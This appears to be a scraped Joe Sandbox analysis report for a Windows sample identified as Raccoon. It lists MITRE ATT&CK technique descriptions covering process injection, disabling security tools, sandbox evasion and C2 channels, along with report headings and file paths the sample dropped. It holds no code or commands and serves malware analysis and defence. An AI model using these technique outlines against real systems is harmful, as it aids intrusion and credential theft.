Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report z5i6tLOUD0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Raccoon

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\WindowsNetService\node.exe

C:\Program Files (x86)\WindowsNetService\service.js

C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_vbc.exe_54491368af7715c12dfed16f4de8ee34d35db7f8_b5adf338_14b2e68e\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC8A6.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD8A4.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB93.tmp.xml

C:\ProgramData\USOPrivate\UpdateStore\updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml (copy)

C:\ProgramData\USOPrivate\UpdateStore\updatestoretemp51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\z5i6tLOUD0.exe.log

C:\Users\user\AppData\Local\Temp\WingFtpServer.exe

C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\_isetup\_shfoldr.dll

C:\Users\user\AppData\Local\Temp\is-3TKF2.tmp\setuphelper.dll

Windows Analysis Report
z5i6tLOUD0.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre